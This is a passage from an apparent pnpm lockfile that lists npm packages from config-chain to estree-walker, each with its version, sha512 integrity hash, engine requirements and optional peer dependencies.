sha512-1NB+BKqhtNipMsov4xI/NnhCKp9XG9NamYp5PVm9klAT0fsrNPjaFICsCFhNhwZJKNh7zB/3q8qXz0E9oaMNtQ==}\n\n  config-chain@1.1.13:\n    resolution: {integrity: sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==}\n\n  console-control-strings@1.1.0:\n    resolution: {integrity: sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==}\n\n  console-table-printer@2.15.0:\n    resolution: {integrity: sha512-SrhBq4hYVjLCkBVOWaTzceJalvn5K1Zq5aQA6wXC/cYjI3frKWNPEMK3sZsJfNNQApvCQmgBcc13ZKmFj8qExw==}\n\n  constant-case@2.0.0:\n    resolution: {integrity: sha512-eS0N9WwmjTqrOmR3o83F5vW8Z+9R1HnVz3xmzT2PMFug9ly+Au/fxRWlEBSb6LcZwspSsEn9Xs1uw9YgzAg1EQ==}\n\n  content-disposition@0.5.4:\n    resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==}\n    engines: {node: '>= 0.6'}\n\n  content-disposition@1.0.1:\n    resolution: {integrity: sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q==}\n    engines: {node: '>=18'}\n\n  content-type@1.0.5:\n    resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==}\n    engines: {node: '>= 0.6'}\n\n  convert-source-map@2.0.0:\n    resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==}\n\n  cookie-parser@1.4.7:\n    resolution: {integrity: sha512-nGUvgXnotP3BsjiLX2ypbQnWoGUPIIfHQNZkkC668ntrzGWEZVW70HDEB1qnNGMicPje6EttlIgzo51YSwNQGw==}\n    engines: {node: '>= 0.8.0'}\n\n  cookie-signature@1.0.6:\n    resolution: {integrity: sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==}\n\n  cookie-signature@1.2.2:\n    resolution: {integrity: sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==}\n    engines: {node: '>=6.6.0'}\n\n  cookie@0.7.1:\n    resolution: {integrity: sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==}\n    engines: {node: '>= 0.6'}\n\n  cookie@0.7.2:\n    resolution: {integrity: sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==}\n    engines: {node: '>= 0.6'}\n\n  cookie@1.0.2:\n    resolution: {integrity: sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==}\n    engines: {node: '>=18'}\n\n  cookiejar@2.1.4:\n    resolution: {integrity: sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==}\n\n  cookies@0.9.1:\n    resolution: {integrity: sha512-TG2hpqe4ELx54QER/S3HQ9SRVnQnGBtKUz5bLQWtYAQ+o6GpgMs6sYUvaiJjVxb+UXwhRhAEP3m7LbsIZ77Hmw==}\n    engines: {node: '>= 0.8'}\n\n  copy-anything@2.0.6:\n    resolution: {integrity: sha512-1j20GZTsvKNkc4BY3NpMOM8tt///wY3FpIzozTOFO2ffuZcV61nojHXVKIy3WM+7ADCy5FVhdZYHYDdgTU0yJw==}\n\n  copy-anything@3.0.5:\n    resolution: {integrity: sha512-yCEafptTtb4bk7GLEQoM8KVJpxAfdBJYaXyzQEgQQQgYrZiDp8SJmGKlYza6CYjEDNstAdNdKA3UuoULlEbS6w==}\n    engines: {node: '>=12.13'}\n\n  copy-file@11.1.0:\n    resolution: {integrity: sha512-X8XDzyvYaA6msMyAM575CUoygY5b44QzLcGRKsK3MFmXcOvQa518dNPLsKYwkYsn72g3EiW+LE0ytd/FlqWmyw==}\n    engines: {node: '>=18'}\n\n  copy-to@2.0.1:\n    resolution: {integrity: sha512-3DdaFaU/Zf1AnpLiFDeNCD4TOWe3Zl2RZaTzUvWiIk5ERzcCodOE20Vqq4fzCbNoHURFHT4/us/Lfq+S2zyY4w==}\n\n  core-util-is@1.0.3:\n    resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==}\n\n  cors@2.8.6:\n    resolution: {integrity: sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==}\n    engines: {node: '>= 0.10'}\n\n  cpy@12.0.1:\n    resolution: {integrity: sha512-hCnNla4AB27lUncMuO7KFjge0u0C5R74iKMBOajKOMB9ONGXcIek314ZTpxg16BuNYRTjPz7UW3tPXgJVLxUww==}\n    engines: {node: '>=20'}\n\n  crc@3.8.0:\n    resolution: {integrity: sha512-iX3mfgcTMIq3ZKLIsVFAbv7+Mc10kxabAGQb8HvjA1o3T1PIYprbakQ65d3I+2HGHt6nSKkM9PYjgoJO2KcFBQ==}\n\n  create-require@1.1.1:\n    resolution: {integrity: sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==}\n\n  cron-parser@4.9.0:\n    resolution: {integrity: sha512-p0SaNjrHOnQeR8/VnfGbmg9te2kfyYSQ7Sc/j/6DtPL3JQvKxmjO9TSjNFpujqV3vEYYBvNNvXSxzyksBWAx1Q==}\n    engines: {node: '>=12.0.0'}\n\n  cross-spawn@6.0.6:\n    resolution: {integrity: sha512-VqCUuhcd1iB+dsv8gxPttb5iZh/D0iubSP21g36KXdEuf6I5JiioesUVjpCdHV9MZRUfVFlvwtIUyPfxo5trtw==}\n    engines: {node: '>=4.8'}\n\n  cross-spawn@7.0.6:\n    resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==}\n    engines: {node: '>= 8'}\n\n  csrf@3.1.0:\n    resolution: {integrity: sha512-uTqEnCvWRk042asU6JtapDTcJeeailFy4ydOQS28bj1hcLnYRiqi8SsD2jS412AY1I/4qdOwWZun774iqywf9w==}\n    engines: {node: '>= 0.8'}\n\n  css-select@5.2.2:\n    resolution: {integrity: sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==}\n\n  css-what@6.2.2:\n    resolution: {integrity: sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==}\n    engines: {node: '>= 6'}\n\n  cssesc@3.0.0:\n    resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==}\n    engines: {node: '>=4'}\n    hasBin: true\n\n  cssfilter@0.0.10:\n    resolution: {integrity: sha512-FAaLDaplstoRsDR8XGYH51znUN0UY7nMc6Z9/fvE8EXGwvJE9hu7W2vHwx1+bd6gCYnln9nLbzxFTrcO9YQDZw==}\n\n  csstype@3.1.3:\n    resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==}\n\n  dargs@6.1.0:\n    resolution: {integrity: sha512-5dVBvpBLBnPwSsYXqfybFyehMmC/EenKEcf23AhCTgTf48JFBbmJKqoZBsERDnjL0FyiVTYWdFsRfTLHxLyKdQ==}\n    engines: {node: '>=6'}\n\n  dayjs@1.11.18:\n    resolution: {integrity: sha512-zFBQ7WFRvVRhKcWoUh+ZA1g2HVgUbsZm9sbddh8EC5iv93sui8DVVz1Npvz+r6meo9VKfa8NyLWBsQK1VvIKPA==}\n\n  debounce@3.0.0:\n    resolution: {integrity: sha512-64byRbF0/AirwbuHqB3/ZpMG9/nckDa6ZA0yd6UnaQNwbbemCOwvz2sL5sjXLHhZHADyiwLm0M5qMhltUUx+TA==}\n    engines: {node: '>=20'}\n\n  debug@2.6.9:\n    resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==}\n    peerDependencies:\n      supports-color: '*'\n    peerDependenciesMeta:\n      supports-color:\n        optional: true\n\n  debug@3.2.7:\n    resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==}\n    peerDependencies:\n      supports-color: '*'\n    peerDependenciesMeta:\n      supports-color:\n        optional: true\n\n  debug@4.4.3:\n    resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==}\n    engines: {node: '>=6.0'}\n    peerDependencies:\n      supports-color: '*'\n    peerDependenciesMeta:\n      supports-color:\n        optional: true\n\n  decamelize@1.2.0:\n    resolution: {integrity: sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==}\n    engines: {node: '>=0.10.0'}\n\n  decamelize@4.0.0:\n    resolution: {integrity: sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==}\n    engines: {node: '>=10'}\n\n  decode-named-character-reference@1.2.0:\n    resolution: {integrity: sha512-c6fcElNV6ShtZXmsgNgFFV5tVX2PaV4g+MOAkb8eXHvn6sryJBrZa9r0zV6+dtTyoCKxtDy5tyQ5ZwQuidtd+Q==}\n\n  deep-equal@2.2.3:\n    resolution: {integrity: sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==}\n    engines: {node: '>= 0.4'}\n\n  deep-extend@0.6.0:\n    resolution: {integrity: sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==}\n    engines: {node: '>=4.0.0'}\n\n  default-user-agent@1.0.0:\n    resolution: {integrity: sha512-bDF7bg6OSNcSwFWPu4zYKpVkJZQYVrAANMYB8bc9Szem1D0yKdm4sa/rOCs2aC9+2GMqQ7KnwtZRvDhmLF0dXw==}\n    engines: {node: '>= 0.10.0'}\n\n  defaults@1.0.4:\n    resolution: {integrity: sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==}\n\n  define-data-property@1.1.4:\n    resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==}\n    engines: {node: '>= 0.4'}\n\n  define-properties@1.2.1:\n    resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==}\n    engines: {node: '>= 0.4'}\n\n  defu@6.1.4:\n    resolution: {integrity: sha512-mEQCMmwJu317oSz8CwdIOdwf3xMif1ttiM8LTufzc3g6kR+9Pe236twL8j3IYT1F7GfRgGcW6MWxzZjLIkuHIg==}\n\n  delayed-stream@1.0.0:\n    resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==}\n    engines: {node: '>=0.4.0'}\n\n  delegates@1.0.0:\n    resolution: {integrity: sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==}\n\n  denque@2.1.0:\n    resolution: {integrity: sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==}\n    engines: {node: '>=0.10'}\n\n  depd@1.1.2:\n    resolution: {integrity: sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==}\n    engines: {node: '>= 0.6'}\n\n  depd@2.0.0:\n    resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==}\n    engines: {node: '>= 0.8'}\n\n  dequal@2.0.3:\n    resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==}\n    engines: {node: '>=6'}\n\n  destroy@1.2.0:\n    resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==}\n    engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16}\n\n  detect-libc@1.0.3:\n    resolution: {integrity: sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==}\n    engines: {node: '>=0.10'}\n    hasBin: true\n\n  detect-libc@2.1.2:\n    resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==}\n    engines: {node: '>=8'}\n\n  detect-port@2.1.0:\n    resolution: {integrity: sha512-epZuWb/6Q62L+nDHJc/hQAqf8pylsqgk3BpZXVBx1CDnr3nkrVNn73Uu1rXcFzkNcc+hkP3whuOg7JZYaQB65Q==}\n    engines: {node: '>= 16.0.0'}\n    hasBin: true\n\n  devlop@1.1.0:\n    resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==}\n\n  dezalgo@1.0.4:\n    resolution: {integrity: sha512-rXSP0bf+5n0Qonsb+SVVfNfIsimO4HEtmnIpPHY8Q1UCzKlQrDMfdobr8nJOOsRgWCyMRqeSBQzmWUMq7zvVig==}\n\n  diff@4.0.2:\n    resolution: {integrity: sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==}\n    engines: {node: '>=0.3.1'}\n\n  diff@7.0.0:\n    resolution: {integrity: sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==}\n    engines: {node: '>=0.3.1'}\n\n  digest-header@1.1.0:\n    resolution: {integrity: sha512-glXVh42vz40yZb9Cq2oMOt70FIoWiv+vxNvdKdU8CwjLad25qHM3trLxhl9bVjdr6WaslIXhWpn0NO8T/67Qjg==}\n    engines: {node: '>= 8.0.0'}\n\n  dir-glob@3.0.1:\n    resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==}\n    engines: {node: '>=8'}\n\n  dom-serializer@2.0.0:\n    resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==}\n\n  domelementtype@2.3.0:\n    resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==}\n\n  domhandler@5.0.3:\n    resolution: {integrity: sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==}\n    engines: {node: '>= 4'}\n\n  domutils@3.2.2:\n    resolution: {integrity: sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==}\n\n  dot-case@2.1.1:\n    resolution: {integrity: sha512-HnM6ZlFqcajLsyudHq7LeeLDr2rFAVYtDv/hV5qchQEidSck8j9OPUsXY9KwJv/lHMtYlX4DjRQqwFYa+0r8Ug==}\n\n  dts-resolver@2.1.3:\n    resolution: {integrity: sha512-bihc7jPC90VrosXNzK0LTE2cuLP6jr0Ro8jk+kMugHReJVLIpHz/xadeq3MhuwyO4TD4OA3L1Q8pBBFRc08Tsw==}\n    engines: {node: '>=20.19.0'}\n    peerDependencies:\n      oxc-resolver: '>=11.0.0'\n    peerDependenciesMeta:\n      oxc-resolver:\n        optional: true\n\n  dunder-proto@1.0.1:\n    resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==}\n    engines: {node: '>= 0.4'}\n\n  duplexer@0.1.2:\n    resolution: {integrity: sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==}\n\n  eastasianwidth@0.2.0:\n    resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==}\n\n  editorconfig@1.0.4:\n    resolution: {integrity: sha512-L9Qe08KWTlqYMVvMcTIvMAdl1cDUubzRNYL+WfA4bLDMHe4nemKkpmYzkznE1FwLKu0EEmy6obgQKzMJrg4x9Q==}\n    engines: {node: '>=14'}\n    hasBin: true\n\n  ee-first@1.1.1:\n    resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==}\n\n  egg-errors@2.3.2:\n    resolution: {integrity: sha512-E+Sx7IBVrfRyHSjFXaq4sCZ3Uk3ka9PYySaQ8VbRZmLEt9ENBCD99yVzLIeWUH2QfzvkrjY9El1eHmLeRx7cfw==}\n    engines: {node: '>=8.9.0'}\n\n  egg-logger@3.6.1:\n    resolution: {integrity: sha512-lGiEumARJAT7NiwMm577NFiOEBMX9FlZzfuBsLLS6eu14R9udcTI1IzXLGJ63SrCmFIXB+zsWLQv5U11e8fq0Q==}\n    engines: {node: '>=14.17.0'}\n\n  egg-plugin-puml@2.4.0:\n    resolution: {integrity: sha512-M6ALp4iGFEGP25OWOQ1EGDSUb/GgxOtC/EOpC28oQtiP/7GqWkTzPw/3CY22vW6UoJ6jL+pHELR1z04ul/r1ig==}\n    engines: {node: '>= 6.0.0'}\n    hasBin: true\n\n  egg-utils@2.5.0:\n    resolution: {integrity: sha512-zQDXcqD0v+6IDBxcxzpTWoDTMg0G3iISSSeOHN7dZzyJWXXmw4ijBPAwKQPVvqBoXB6jAXj5f8B8/LVM9AN//A==}\n\n  egg-view-nunjucks@2.3.0:\n    resolution: {integrity: sha512-f4WiE7PY60rW1Kr+7QAJyDr5Zo2VkXkczUkdRD/rnlUfWFpz8GAU1OBd/LsAdo9qFH9E0TJsozzkivnT7cyhfg==}\n    engines: {node: '>=6.0.0'}\n\n  ejs@3.1.10:\n    resolution: {integrity: sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==}\n    engines: {node: '>=0.10.0'}\n    hasBin: true\n\n  emoji-regex@10.6.0:\n    resolution: {integrity: sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==}\n\n  emoji-regex@7.0.3:\n    resolution: {integrity: sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==}\n\n  emoji-regex@8.0.0:\n    resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==}\n\n  emoji-regex@9.2.2:\n    resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==}\n\n  empathic@2.0.0:\n    resolution: {integrity: sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA==}\n    engines: {node: '>=14'}\n\n  encodeurl@1.0.2:\n    resolution: {integrity: sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==}\n    engines: {node: '>= 0.8'}\n\n  encodeurl@2.0.0:\n    resolution: {integrity: sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==}\n    engines: {node: '>= 0.8'}\n\n  encoding-sniffer@0.2.1:\n    resolution: {integrity: sha512-5gvq20T6vfpekVtqrYQsSCFZ1wEg5+wW0/QaZMWkFr6BqD3NfKs0rLCx4rrVlSWJeZb5NBJgVLswK/w2MWU+Gw==}\n\n  encoding@0.1.13:\n    resolution: {integrity: sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==}\n\n  end-of-stream@1.4.5:\n    resolution: {integrity: sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==}\n\n  entities@4.5.0:\n    resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==}\n    engines: {node: '>=0.12'}\n\n  entities@6.0.1:\n    resolution: {integrity: sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==}\n    engines: {node: '>=0.12'}\n\n  env-paths@2.2.1:\n    resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==}\n    engines: {node: '>=6'}\n\n  environment@1.1.0:\n    resolution: {integrity: sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==}\n    engines: {node: '>=18'}\n\n  err-code@2.0.3:\n    resolution: {integrity: sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==}\n\n  errno@0.1.8:\n    resolution: {integrity: sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==}\n    hasBin: true\n\n  es-define-property@1.0.1:\n    resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==}\n    engines: {node: '>= 0.4'}\n\n  es-errors@1.3.0:\n    resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==}\n    engines: {node: '>= 0.4'}\n\n  es-get-iterator@1.1.3:\n    resolution: {integrity: sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==}\n\n  es-module-lexer@1.7.0:\n    resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==}\n\n  es-object-atoms@1.1.1:\n    resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==}\n    engines: {node: '>= 0.4'}\n\n  es-set-tostringtag@2.1.0:\n    resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==}\n    engines: {node: '>= 0.4'}\n\n  esbuild-register@3.6.0:\n    resolution: {integrity: sha512-H2/S7Pm8a9CL1uhp9OvjwrBh5Pvx0H8qVOxNu8Wed9Y7qv56MPtq+GGM8RJpq6glYJn9Wspr8uw7l55uyinNeg==}\n    peerDependencies:\n      esbuild: '>=0.12 <1'\n\n  esbuild@0.25.12:\n    resolution: {integrity: sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==}\n    engines: {node: '>=18'}\n    hasBin: true\n\n  esbuild@0.27.0:\n    resolution: {integrity: sha512-jd0f4NHbD6cALCyGElNpGAOtWxSq46l9X/sWB0Nzd5er4Kz2YTm+Vl0qKFT9KUJvD8+fiO8AvoHhFvEatfVixA==}\n    engines: {node: '>=18'}\n    hasBin: true\n\n  escalade@3.2.0:\n    resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==}\n    engines: {node: '>=6'}\n\n  escape-html@1.0.3:\n    resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==}\n\n  escape-string-regexp@1.0.5:\n    resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==}\n    engines: {node: '>=0.8.0'}\n\n  escape-string-regexp@4.0.0:\n    resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==}\n    engines: {node: '>=10'}\n\n  escape-string-regexp@5.0.0:\n    resolution: {integrity: sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==}\n    engines: {node: '>=12'}\n\n  esprima@4.0.1:\n    resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==}\n    engines: {node: '>=4'}\n    hasBin: true\n\n  estree-walker@2.0.2:\n    resolution: {integrity: 